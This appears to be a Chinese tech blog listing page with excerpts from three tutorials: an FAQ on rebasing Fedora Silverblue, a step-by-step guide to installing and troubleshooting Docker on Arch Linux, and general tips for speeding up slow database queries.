到新版本的文章的评论中,总会有相似的问题,因此我会在这个部分尝试解答这些问题。 问题:在 Fedora 的重定位过程中我能跳过某些版本吗?例如直接从 Fedora 37 Silverblue 更新到 Fedora 39 Silverblue。 答案:虽然有时可能可以在重定位过程中跳过某些版本,但并不推荐这样操作。你应当始终更新到紧邻的新版本(例如从 38 更新到 39),以避免不必要的错误。 问题:我安装了 rpm-fusion,在重定位过程中出现错误,我应当怎样进行重定位? 答案:如果你在 Silverblue 安装上加入了 rpm-fusion,你在重定位前应当执行以下操作: rpm-ostree update \ --uninstall rpmfusion-free-release \ --uninstall rpmfusion-nonfree-release \ --install rpmfusion-free-release \ --install rpmfusion-nonfree-release 执行完上述操作后,你可以按照本篇博文的步骤完成重定位过程。 问题:这个指南是否适用于其他的 ostree 版本(例如 Kinoite, Sericea)? 答案:是的,你可以照着本指南的 使用终端进行重定位部分的操作来完成所有的 Fedora ostree 版本的重定位过程。只需要使用对应的分支即可。例如对于 Kinoite,你可以使用 fedora:fedora/39/x86_64/kinoite 而非 fedora:fedora/39/x86_64/silverblue </div> ...

    2023-11-12 技术教程 127
  • 如何在Arch Linux上安装Docker

    在 Arch Linux 上安装 Docker 很简单。它可以在 Extra 仓库中找到,你可以简单地 执行 pacman 魔法: sudo pacman -S docker 但要在 Arch Linux 上正确运行 Docker,还需要执行更多步骤。 让 Arch Docker 做好准备 这一切都归结为以下步骤: 从 Arch 仓库安装 Docker 启动 Docker 守护进程并在每次启动时自动运行 将用户添加到 docker组以运行docker命令而无需sudo 让我们看看详细步骤。 步骤 1:安装 Docker 包 打开终端并使用以下命令: sudo pacman -S docker 输入密码并在询问时按 Y。 这可能需要一些时间,具体取决于你使用的镜像。 ? 如果你看到找不到包或 404 错误,那么你的同步数据库可能是旧的。使用以下命令更新系统(它将下载大量软件包并需要时间): sudo pacman -Syu 步骤 2:启动 docker 守护进程 Docker 已安装但未运行。你应该在第一次运行 Docker 命令之前启动 Docker 守护进程: sudo systemctl start docker.service 我还建议启用 Docker 服务,以便 Docker 守护进程在系统启动时自动启动。 sudo systemctl enable docker.service 这样,你就可以开始运行 docker命令了。你不再需要手动启动 Docker 服务。 步骤 3:将用户添加到 docker 组 Docker 已安装并且 Docker 服务正在运行。你几乎已准备好运行 docker命令。 但是,默认情况下,你需要将 sudo与docker命令一起使用。这很烦人。 为了避免在每个 docker命令中使用sudo,你可以将自己(或任何其他用户)添加到docker组,如下所示: sudo usermod -aG docker $USER 你必须注销(或关闭终端)并重新登录才能使上述更改生效。如果你不想这样做,请使用以下命令: newgrp docker 现在已经准备好了。我们来测试一下。 步骤 4:验证 docker 安装 Docker 本身提供了一个很小的 Docker 镜像来测试 Docker 安装。运行它并查看是否一切正常: docker run hello-world 你应该看到类似这样的输出,表明 Docker 成功运行: 恭喜! 你已经在 Arch Linux 上成功安装了 Docker。 可选:安装 Docker Compose Docker Compose 已经成为 Docker 不可或缺的一部分。它允许你管理多个容器应用。 较早的经典 Compose 由 docker-composePython 软件包提供。Docker 还将其移植到 Go 中,并通过docker compose提供,但该软件包附带Docker Desktop。 在这个阶段,我建议使用经典的 docker-compose插件并使用以下命令安装它: sudo pacman -S docker-compose 故障排除技巧 以下是你可能遇到的一些常见问题以及可能的解决方案: 制表符补全不适用于 docker 子命令 如果你想对 docker命令选项使用制表符补全(例如将im补全到images等),请安装bash-completion包: sudo pacman -S bash-completion 关闭终端并启动一个新终端。你现在应该能够通过 docker命令使用制表符补全功能。 无法连接到 Docker 守护进程错误 如果你看到以下错误: docker: Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?. See 'docker run --help'. 那是因为 Docker 守护进程没有运行。参考步骤 2,启动 Docker 服务,确保其正在运行并启用它,以便 Docker 守护进程在每次启动时自动运行。 sudo systemctl start docker.service sudo systemctl enable docker.service 尝试连接到 Docker 守护程序套接字时权限被拒绝 如果你看到此错误: ddocker: permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Post "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/create": dial unix /var/run/docker.sock: connect: permission denied. See 'docker run --help'. 这是因为你需要使用 sudo运行docker命令,或者将用户添加到docker组以在不使用sudo的情况下运行docker命令。 我希望这篇简短的文章可以帮助你在 Arch Linux 上运行 Docker。 ...

    2023-11-10 技术教程 131
  • 数据库查询慢怎么优化

    定位慢查询 数据库监控工具:使用数据库监控工具,如MySQL的Slow Query Log或PostgreSQL的pg_stat_statements,来识别慢查询。这些工具可以记录执行时间较长的查询。 查询执行计划:对于关系型数据库,查看查询执行计划是一种重要的方式来定位性能问题。通过EXPLAIN或EXPLAIN ANALYZE命令,可以查看数据库是如何执行查询的,以及是否有性能问题。 应用层监控:使用应用层性能监控工具来识别慢查询的来源。这些工具可以告诉你哪些查询正在导致性能下降。 监控索引:确保表上使用了适当的索引。缺少索引或者使用不当的索引可能导致查询变慢。 检查服务器负载:如果服务器负载过高,可能导致查询变慢。检查服务器的CPU、内存和磁盘使用情况。 优化慢查询 索引优化:确保数据库表上的列有适当的索引,这有助于加速检索。但不要过度索引,因为索引也会增加写操作的开销。 重写查询:有时,可以通过重写查询语句来优化查询性能。使用合适的WHERE子句、JOIN条件和ORDER BY子句等。 缓存:使用缓存来减少数据库查询的频率。可以使用缓存中间件(如Redis或Memcached)或应用程序级别的缓存。 升级硬件:如果服务器性能不足,可以考虑升级硬件,包括CPU、内存和存储。 分区:对于大型表,可以考虑分区,以减小查询的范围。 定期维护:定期执行数据库维护操作,如索引重建、表优化和统计信息更新,以确保数据库性能不下降。 限制结果集大小:通过限制查询返回的结果集大小,可以减轻数据库负担。 异步处理:将某些查询从同步操作改为异步操作,以提高应用程序的响应速度。 数据库分片:对于大型数据库,可以考虑数据库分片,将数据分散到多个服务器上以提高查询性能。 使用合适的数据库引擎:不同的数据库引擎具有不同的性能特点。根据应用程序需求选择合适的数据库引擎。 ...

    2023-11-10 技术教程 117

联系我们

在线咨询:点击这里给我发消息

QQ交流群:KirinBlog

工作日:8:00-23:00,节假日休息

扫码关注